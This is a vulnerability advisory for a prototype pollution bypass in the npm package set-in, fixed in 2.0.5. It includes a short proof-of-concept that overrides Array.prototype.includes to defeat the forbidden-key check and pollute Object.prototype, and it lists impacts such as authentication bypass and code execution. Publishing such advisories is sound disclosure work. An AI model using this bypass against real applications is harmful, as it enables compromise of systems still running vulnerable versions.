CVE-2026-26021: set-in Affected by Prototype Pollution

Summary

A prototype pollution vulnerability exists in the the npm package set-in (>=2.0.1). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. This has been fixed in version 2.0.5.

Details

The vulnerability resides in line 28 of https://github.com/ahdinosaur/set-in/blob/master/index.js where includes() function is used to check whether user provided input contain forbidden strings.

PoC

Steps to reproduce

1. Install latest version of set-in using npm install or cloning from git
2. Run the following code snippet:

Array.prototype.includes = () => false; 
const si = require('set-in');
const obj = {};
console.log({}.polluted);
si(obj, [
    'constructor',
    'prototype',
    'polluted'
], 'yes');
console.log('{ ' + obj.polluted + ', ' + 'yes' + ' }');  // prints yes -> indicating that the patch was bypassed and prototype pollution occurred

Expected behavior

Prototype pollution should be prevented and {} should not gain new properties. This should be printed on the console:

undefined
undefined OR throw an Error

Actual behavior

Object.prototype is polluted This is printed on the console:

undefined 
yes

Impact

This is a prototype pollution vulnerability, which can have severe security implications depending on how set-in is used by downstream applications. Any application that processes attacker-controlled input using this package may be affected. It could potentially lead to the following problems:

1. Authentication bypass
2. Denial of service
3. Remote code execution (if polluted property is passed to sinks like eval or child_process)